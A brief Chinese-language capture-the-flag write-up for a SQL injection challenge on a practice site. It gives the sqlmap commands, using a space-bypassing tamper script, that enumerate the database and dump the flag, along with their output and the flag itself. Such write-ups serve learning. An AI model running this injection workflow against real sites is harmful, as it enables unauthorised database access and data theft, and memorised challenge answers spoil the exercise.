http://ctf5.shiyanbar.com/web/index_2.php
一開始我們簡單的來一下輸入 1'
提示 語法錯誤 但并沒有過濾 '?
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ''1''' at line
過濾了空格
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment --dbs
得到結果
available databases [3]:
[*] information_schema
[*] test
[*] web1
很明顯藕夫。。這是跟第一題一樣樣的
next
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 --table
結果如下
Database: web1
[2 tables]
+-------+
| flag? |
| web_1 |
+-------+
next?
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag --columns
Database: web1
Table: flag
[2 columns]
+--------+----------+
| Column | Type? ? |
+--------+----------+
| flag? | char(30) |
| id? ? | int(4)? |
我們指定顯示flag的字段內容
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag -C flag --dump
Database: web1
Table: flag
[1 entry]
+----------------------------+
| flag? ? ? ? ? ? ? ? ? ? ? |
+----------------------------+
| flag{Y0u_@r3_5O_dAmn_90Od} |
+----------------------------+
總結
在這里面用到的方法內容都差不多
只要多用tamper的腳本多嘗試就可以了